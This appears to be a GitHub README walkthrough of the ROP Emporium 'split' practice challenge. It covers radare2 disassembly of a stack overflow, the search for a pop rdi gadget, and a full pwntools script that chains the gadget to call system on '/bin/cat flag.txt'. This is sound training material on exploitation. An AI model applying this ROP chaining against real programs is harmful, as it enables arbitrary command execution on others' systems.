Skip to content

Latest commit

 

History

History
193 lines (161 loc) · 8.43 KB

README.md

File metadata and controls

193 lines (161 loc) · 8.43 KB

split

Again, we download and unzip the challenge file. And again, calling it looks like:

$ ./split
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    31935 segmentation fault (core dumped)  ./split

Because the challenges are focused on post-bug exploitation, the pwnme function again has an obvious vulnerability:

$ radare2 -A split
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
 -- This is an unacceptable milion year dungeon.

[0x00400650]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 82
|   sym.pwnme ();
|           ; var char *s @ rbp-0x20
|           ; CALL XREF from sym.main (0x40079f)
|           0x004007b5      55             push rbp
|           0x004007b6      4889e5         mov rbp, rsp
|           0x004007b9      4883ec20       sub rsp, 0x20
|           0x004007bd      488d45e0       lea rax, [s]
|           0x004007c1      ba20000000     mov edx, 0x20               ; 32 ; size_t n
|           0x004007c6      be00000000     mov esi, 0                  ; int c
|           0x004007cb      4889c7         mov rdi, rax                ; void *s
|           0x004007ce      e82dfeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
|           0x004007d3      bfd0084000     mov edi, str.Contriving_a_reason_to_ask_user_for_data... ; 0x4008d0 ; "Contriving a reason to ask user for data..." ; const char *s
|           0x004007d8      e8f3fdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x004007dd      bffc084000     mov edi, 0x4008fc           ; const char *format
|           0x004007e2      b800000000     mov eax, 0
|           0x004007e7      e804feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x004007ec      488b159d0820.  mov rdx, qword [obj.stdin]  ; [0x601090:8]=0 ; FILE *stream
|           0x004007f3      488d45e0       lea rax, [s]
|           0x004007f7      be60000000     mov esi, 0x60               ; '`' ; 96 ; int size
|           0x004007fc      4889c7         mov rdi, rax                ; char *s
|           0x004007ff      e81cfeffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
|           0x00400804      90             nop
|           0x00400805      c9             leave
\           0x00400806      c3             ret

This time there's no simple ret2win function we can just jump immediately to. We can use radare in order to search for useful items within the binary:

[0x00400650]> is
[Symbols]

... (A BUNCH OF LINES WE DON'T CARE ABOUT SKIPPED OVER) ...

026 0x00001080 0x00601080  LOCAL   SECT    0 stdout
027 0x00000000 0x00400000  LOCAL   SECT    0
028 0x00000000 0x00400000  LOCAL   FILE    0 crtstuff.c
029 0x00000e20 0x00600e20  LOCAL    OBJ    0 __JCR_LIST__
030 0x00000680 0x00400680  LOCAL   FUNC    0 deregister_tm_clones
031 0x000006c0 0x004006c0  LOCAL   FUNC    0 register_tm_clones
032 0x00000700 0x00400700  LOCAL   FUNC    0 __do_global_dtors_aux
033 0x000010a8 0x006010a8  LOCAL    OBJ    1 completed.7585
034 0x00000e18 0x00600e18  LOCAL    OBJ    0 __do_global_dtors_aux_fini_array_entry
035 0x00000720 0x00400720  LOCAL   FUNC    0 frame_dummy
036 0x00000e10 0x00600e10  LOCAL    OBJ    0 __frame_dummy_init_array_entry
037 0x00000000 0x00400000  LOCAL   FILE    0 split.c
038 0x000007b5 0x004007b5  LOCAL   FUNC   82 pwnme
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction
040 0x00000000 0x00400000  LOCAL   FILE    0 crtstuff.c
041 0x00000a80 0x00400a80  LOCAL    OBJ    0 __FRAME_END__
042 0x00000e20 0x00600e20  LOCAL    OBJ    0 __JCR_END__
043 0x00000000 0x00400000  LOCAL   FILE    0
044 0x00000e18 0x00600e18  LOCAL NOTYPE    0 __init_array_end
045 0x00000e28 0x00600e28  LOCAL    OBJ    0 _DYNAMIC
046 0x00000e10 0x00600e10  LOCAL NOTYPE    0 __init_array_start
047 0x00000908 0x00400908  LOCAL NOTYPE    0 __GNU_EH_FRAME_HDR
048 0x00001000 0x00601000  LOCAL    OBJ    0 _GLOBAL_OFFSET_TABLE_
049 0x00000890 0x00400890 GLOBAL   FUNC    2 __libc_csu_fini
051 0x00001080 0x00601080 GLOBAL    OBJ    8 stdout
052 0x00001050 0x00601050   WEAK NOTYPE    0 data_start
054 0x00001090 0x00601090 GLOBAL    OBJ    8 stdin
055 0x0000107a 0x0060107a GLOBAL NOTYPE    0 _edata
056 0x00000894 0x00400894 GLOBAL   FUNC    0 _fini
062 0x00001050 0x00601050 GLOBAL NOTYPE    0 __data_start
064 0x00001058 0x00601058 GLOBAL    OBJ    0 __dso_handle
065 0x000008a0 0x004008a0 GLOBAL    OBJ    4 _IO_stdin_used
066 0x00001060 0x00601060 GLOBAL    OBJ   26 usefulString
067 0x00000820 0x00400820 GLOBAL   FUNC  101 __libc_csu_init
068 0x006010b0 0x006010b0 GLOBAL NOTYPE    0 _end
069 0x00000650 0x00400650 GLOBAL   FUNC   42 _start
070 0x0000107a 0x0060107a GLOBAL NOTYPE    0 __bss_start
071 0x00000746 0x00400746 GLOBAL   FUNC  111 main
074 0x00001080 0x00601080 GLOBAL    OBJ    0 stdout
076 0x000005a0 0x004005a0 GLOBAL   FUNC    0 _init
077 0x000010a0 0x006010a0 GLOBAL    OBJ    8 stderr
001 0x000005d0 0x004005d0 GLOBAL   FUNC   16 imp.puts
002 0x000005e0 0x004005e0 GLOBAL   FUNC   16 imp.system
003 0x000005f0 0x004005f0 GLOBAL   FUNC   16 imp.printf
004 0x00000600 0x00400600 GLOBAL   FUNC   16 imp.memset
005 0x00000610 0x00400610 GLOBAL   FUNC   16 imp.__libc_start_main
006 0x00000620 0x00400620 GLOBAL   FUNC   16 imp.fgets
007 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__
008 0x00000630 0x00400630 GLOBAL   FUNC   16 imp.setvbuf
007 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__

A couple obvious candidates stand out. Let's take a look at usefulFunction and usefulString:

[0x00400650]> pdf @ sym.usefulFunction
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bfff084000     mov edi, str.bin_ls         ; 0x4008ff ; "/bin/ls" ; const char *string
|           0x00400810      e8cbfdffff     call sym.imp.system         ; int system(const char *string)
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret

So there's definitely something to work with here. If we jump directly to the usefulFunction, it will simply call system with /bin/ls as its argument. Let's look at usefulString to see if that's helpful:

[0x00400650]> px 48 @ 0x00601060
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00601060  2f62 696e 2f63 6174 2066 6c61 672e 7478  /bin/cat flag.tx
0x00601070  7400 0000 0000 0000 0000 0000 0000 0000  t...............
0x00601080  0000 0000 0000 0000 0000 0000 0000 0000  ................

How convenient ;). So we need to jump to the system call with usefulString as its argument instead.

Reviewing x86-64 calling conventions, rdi is the register which holds the first argument to a function. So we have to get the address of usefulString into rdi. We can do that by getting the usefulString address into the stack and then having pop rdi be called. This will be the first time we use a ROP gadget!

Let's go look around for a useful gadget:

[0x00400650]> /R pop rdi
  0x00400883                 5f  pop rdi
  0x00400884                 c3  ret

Well that was pretty easy. So we need to prepare our buffer overflow with the appropriate amount of padding, address of the ROP gadget, the address of the usefulString and then the address of the system call.

The method for figuring out the padding is identical to the ret2win challenge. Then we can craft our exploit with the other addresses:

from pwn import *

prog = process("./split")

payload = "A" * 40

pop_rdi = 0x00400883
bin_string = 0x00601060
call_system = 0x00400810

payload += p64(pop_rdi)
payload += p64(bin_string)
payload += p64(call_system)

print prog.recvuntil(">")
prog.clean()

prog.sendline(payload)

print prog.clean()

And then we run it!

(venv) ~/w/r/c/r/s/64bit ❯❯❯ python exploit.py
[+] Starting local process './split': pid 9187
split by ROP Emporium
64bits

Contriving a reason to ask user for data...
>
ROPE{a_placeholder_32byte_flag!}